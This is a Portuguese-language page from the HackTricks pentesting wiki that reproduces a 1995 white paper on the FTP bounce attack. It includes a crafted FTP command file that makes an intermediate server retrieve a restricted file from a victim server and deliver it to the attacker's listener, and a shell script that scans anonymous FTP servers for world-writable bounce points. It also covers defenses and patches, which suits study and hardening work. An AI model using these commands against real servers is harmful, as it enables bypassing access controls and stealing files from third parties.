hacktricks/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md
2023-06-06 18:56:34 +00:00

16 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Resumo

Se você tiver acesso a um servidor FTP de salto, poderá fazer com que ele solicite arquivos de outro servidor FTP onde você conhece algumas credenciais e baixe esse arquivo para seu próprio servidor.

Requisitos

Credenciais FTP válidas no servidor FTP intermediário
Credenciais FTP válidas no servidor FTP da vítima
Ambos os servidores aceitam o comando PORT ataque de salto FTP
Você pode escrever dentro de algum diretório do servidor FTP intermediário
O servidor intermediário terá mais acesso dentro do servidor FTP da vítima do que você por algum motivo é isso que você vai explorar

Passos

  1. Conecte-se ao seu próprio servidor FTP e torne a conexão passiva comando pasv para fazê-lo ouvir em um diretório onde o serviço da vítima enviará o arquivo
  2. Faça o arquivo que vai enviar o servidor FTP intermediário para o servidor da vítima o exploit. Este arquivo será um texto simples dos comandos necessários para autenticar-se no servidor da vítima, mudar o diretório e baixar um arquivo para seu próprio servidor.
  3. Conecte-se ao servidor FTP intermediário e faça o upload do arquivo anterior
  4. Faça o servidor FTP intermediário estabelecer uma conexão com o servidor da vítima e enviar o arquivo de exploração
  5. Capture o arquivo em seu próprio servidor FTP
  6. Exclua o arquivo de exploração do servidor FTP intermediário

Todas as informações neste post foram extraídas de: http://www.ouah.org/ftpbounce.html

O Ataque de Salto FTP

Este artigo discute um dos muitos possíveis usos do "ataque de salto do servidor FTP". O mecanismo usado é provavelmente bem conhecido, mas até o momento o interesse em detalhá-lo ou corrigi-lo parece ser baixo ou inexistente. Este exemplo em particular demonstra mais uma maneira pela qual a maioria das "restrições de exportação" eletronicamente impostas são completamente inúteis e triviais de contornar. É escolhido em um esforço para fazer o leitor se sentar e perceber que existem alguns aspectos realmente mal concebidos do protocolo FTP padrão.

Agradecimentos também a Alain Knaff em imag.fr por uma discussão breve, mas divertida, de algumas dessas questões há alguns meses, que me fez pensar mais profundamente sobre elas.

O motivo

Você é um usuário em foreign.fr, endereço IP F.F.F.F, e deseja recuperar o código-fonte criptográfico de crypto.com nos EUA. O servidor FTP em crypto.com está configurado para permitir sua conexão, mas negar o acesso às fontes criptográficas porque seu endereço IP de origem é o de um site não americano [tão próximo quanto seu servidor FTP pode determinar a partir do DNS, isto é]. Em qualquer caso, você não pode recuperar diretamente o que deseja do servidor crypto.com.

No entanto, crypto.com permitirá que ufred.edu baixe as fontes criptográficas porque ufred.edu também está nos EUA. Você sabe que /incoming em ufred.edu é um diretório de gravação mundial que qualquer usuário anônimo pode colocar arquivos e lê-los de volta. O endereço IP de crypto.com é C.C.C.C.

O ataque

Isso pressupõe que você tenha um servidor FTP que faça o modo passivo. Abra uma conexão FTP para o endereço IP real de sua própria máquina [não localhost] e faça login. Mude para um diretório conveniente que você tenha acesso de gravação e, em seguida, faça:

pasv
stor foobar

Faça uma nota do endereço e porta que são retornados pelo comando PASV, F,F,F,F,X,X. Esta sessão FTP agora ficará pendurada, então coloque-a em segundo plano ou mude para outra janela ou algo assim para prosseguir com o restante deste processo.

Construa um arquivo contendo comandos do servidor FTP. Vamos chamá-lo de "instrs". Ele terá a seguinte aparência:

user ftp
pass -anonymous@
cwd /export-restricted-crypto
type i
port F,F,F,F,X,X
retr crypto.tar.Z
quit
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
...

F,F,F,F,X,X é o mesmo endereço e porta que sua própria máquina lhe entregou na primeira conexão. O lixo no final são linhas extras que você cria, cada uma contendo 250 NULLS e nada mais, o suficiente para preencher cerca de 60K de dados extras. A razão para esse preenchimento será explicada posteriormente.

Abra uma conexão FTP com ufred.edu, faça login anonimamente e acesse /incoming. Agora digite o seguinte nesta sessão FTP, que transfere uma cópia do seu arquivo "instrs" e, em seguida, diz ao servidor FTP de ufred.edu para se conectar ao servidor FTP de crypto.com usando seu arquivo como comandos:

put instrs
port C,C,C,C,0,21
retr instrs

Crypto.tar.Z deve agora aparecer como "foobar" em sua máquina através da sua primeira conexão FTP. Se a conexão com ufred.edu não morreu sozinha devido a um bug comum do servidor, limpe excluindo "instrs" e saia. Caso contrário, você terá que se reconectar para terminar.

Discussão

Existem várias variantes disso. Sua conexão de ouvinte PASV pode ser aberta em qualquer máquina que você tenha acesso de gravação de arquivos - a sua própria, outra conexão com ufred.edu ou em algum lugar completamente diferente. Na verdade, nem mesmo precisa ser um servidor FTP - qualquer utilitário que ouça em uma porta TCP conhecida e leia dados brutos dele em um arquivo servirá. Uma conexão de dados FTP em modo passivo é simplesmente uma maneira conveniente de fazer isso.

Os nulos extras no final do arquivo de comando são para preencher as janelas TCP em ambas as extremidades da conexão ufred -> crypto e garantir que a conexão de comando permaneça aberta tempo suficiente para que toda a sessão seja executada. Caso contrário, a maioria dos servidores FTP tende a abortar todas as transferências e processamento de comandos quando a conexão de controle é encerrada prematuramente. O tamanho dos dados é suficiente para preencher as janelas de recebimento e transmissão, que em alguns sistemas operacionais são bastante grandes [na ordem de 30K]. Você pode reduzir isso se souber quais sistemas operacionais estão em cada extremidade e a soma de seus tamanhos de janela TCP padrão. Ele é dividido em linhas de 250 caracteres para evitar a sobrecarga de buffers de comando no servidor de destino - provavelmente acadêmico, já que você já disse ao servidor para sair.

Se crypto.com proibir *qualquer* conexão de cliente FTP de você em foreign.fr e você precisar ver quais arquivos estão onde, sempre poderá colocar "list -aR" em seu arquivo de comando e obter uma lista de diretórios de toda a árvore via ufred.

Você pode ter que recuperar seu arquivo de comando para o servidor FTP de destino no modo ASCII em vez do modo binário. Alguns servidores FTP podem lidar com novas linhas brutas, mas outros podem precisar que as linhas de comando sejam terminadas por pares CRLF. Lembre-se disso ao recuperar arquivos para daemons que não sejam servidores FTP, também.

Outras possibilidades

Apesar do fato de que essas conexões de terceiros são unidirecionais, elas podem ser usadas para todo tipo de coisas. Métodos semelhantes podem ser usados para postar correio e notícias virtualmente não rastreáveis, atacar servidores em vários sites, encher discos, tentar pular firewalls e, em geral, ser irritante e difícil de rastrear ao mesmo tempo. Um pouco de reflexão trará a realização de inúmeras outras possibilidades assustadoras.

As conexões lançadas dessa maneira vêm da porta de origem 20, que alguns sites permitem através de seus firewalls na tentativa de lidar com o problema "ftp-data". Para alguns propósitos, isso pode ser a próxima melhor coisa para ataques com roteamento de origem e provavelmente terá sucesso onde o roteamento de origem falha contra filtros de pacotes. E tudo isso é possível pela maneira como a especificação do protocolo FTP foi escrita, permitindo que as conexões de controle venham de qualquer lugar e as conexões de dados vão para qualquer lugar.

Defesas

Sempre haverá sites na rede com servidores FTP antigos e diretórios graváveis que permitem esse tipo de tráfego, então dizer "corrija todos os servidores FTP" é a resposta errada. Mas você pode proteger o seu próprio contra ser um ponto de salto de terceiros e ter outro usado contra você.

A primeira coisa óbvia a fazer é permitir que um servidor FTP faça apenas conexões de dados para o mesmo host de onde a conexão de controle se originou. Isso não impede o ataque acima, é claro, já que o ouvinte PASV também pode estar em ufred.edu e, portanto, atender a esse requisito, mas impede que o seu site seja um ponto de salto potencial. Também quebra o conceito de "FTP proxy", mas escondido em algum lugar deste parágrafo há um violino muito pequeno.

A próxima coisa óbvia é proibir conexões de controle FTP que venham de portas reservadas, ou pelo menos da porta 20. Isso impede o cenário acima conforme declarado.

Ambas as coisas, além da usual sujeira sobre bloquear pacotes com roteamento de origem e outras vias de falsificação, são necessárias para evitar hacks desse tipo. E pense se você realmente precisa de um diretório "de entrada" aberto.

Permitir apenas conexões de dados de clientes em modo passivo é outra possibilidade, mas ainda existem muitos clientes FTP em uso que não são passivos.

"Um consenso solto e código em execução"

Existe algum trabalho existente abordando isso disponível aqui em avian.org [e está há vários meses, devo acrescentar] no "arquivo de correções". Várias modificações para wu-ftpd-2.4 são apresentadas, o que inclui código para impedir e registrar tentativas de usar comandos PORT falsos. Correções de segurança recentes de outros lugares também estão incluídas, juntamente com suporte s/key e várias opções de tempo de compilação para reforçar a segurança para aplicativos específicos.

Stan Barber em academ.com está trabalhando na fusão dessas e várias outras correções em um verdadeiro lançamento atualizado do wu-ftpd. Existem alguns outros esforços divergentes em andamento. Em nenhum lugar é afirmado que todo esse trabalho está completo ainda, mas é um começo para algo que eu tinha em mente há algum tempo - um lançamento em toda a rede do wu-ftpd-2.5, com contribuições de todo o mundo. O servidor wu-ftpd se tornou muito popular, mas precisa de mais uma atualização de segurança. Seria bom reunir todas as melhorias em um só lugar coordenado, e parece que isso vai acontecer. Tudo isso ainda não ajudará as pessoas que insistem em executar servidores fornecidos pelo fornecedor, é claro.

A verificação de sanidade da porta de origem da conexão do cliente não é implementada especificamente nas correções do servidor FTP, mas em modificações no pacote tcp-wrappers de Wietse, já que esse problema é mais geral. Uma opção simples de PORT é adicionada que nega conexões de intervalos configuráveis de portas de origem no estágio tcpd, antes que um daemon chamado seja executado.

Algumas dessas informações são apontadas por /src/fixkits/README na área FTP anônima aqui. Leia este roteiro antes de pegar outras coisas.

Notas

Adicionar os nulos no final do arquivo de comando foi a chave para fazer isso funcionar contra uma variedade de daemons. Simplesmente enviar os dados desejados geralmente falharia devido ao fechamento imediato sinalizando o daemon para sair.

Se a WUSTL não desistiu completamente do projeto wu-ftpd, eles estão mantendo-se muito quietos sobre o trabalho futuro. Bryan O'Connor parece ter muitos outros projetos para atender agora...

Este é um script trivial para encontrar diretórios e arquivos de propriedade do ftp e graváveis pelo mundo em um servidor FTP anônimo baseado em Unix. Você ficaria surpreso com quantos desses "bouncepoints" graváveis aparecem após uma curta execução de algo assim. Você terá que verificar posteriormente se pode colocar e obter arquivos de tais locais; alguns servidores protegem os arquivos enviados contra leitura. Muitos não o fazem e depois se perguntam por que estão entre os dez principais sites de warez desta semana...

#!/bin/sh
ftp -n $1 << FOE
quote "user ftp"
quote "pass -nobody@"
prompt
cd /
dir "-aR" xxx.$$
bye
FOE
# Not smart enough to figure out ftp's numeric UID if no passwd file!
cat -v xxx.$$ | awk '
  BEGIN { idir = "/" ; dirp = 0 }
  /.:$/ { idir = $0 ; dirp = 1 ; }
  /^[-d][-r](......w.|........  *[0-9]* ftp  *)/ {
    if (dirp == 1) print idir
    dirp = 0
    print $0
  } '
rm xxx.$$

Suponho que se possa chamar isso de white paper. Está disponível em avian.org em /random/ftp-attack e também foi postado em vários lugares relevantes. _H* 950712

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥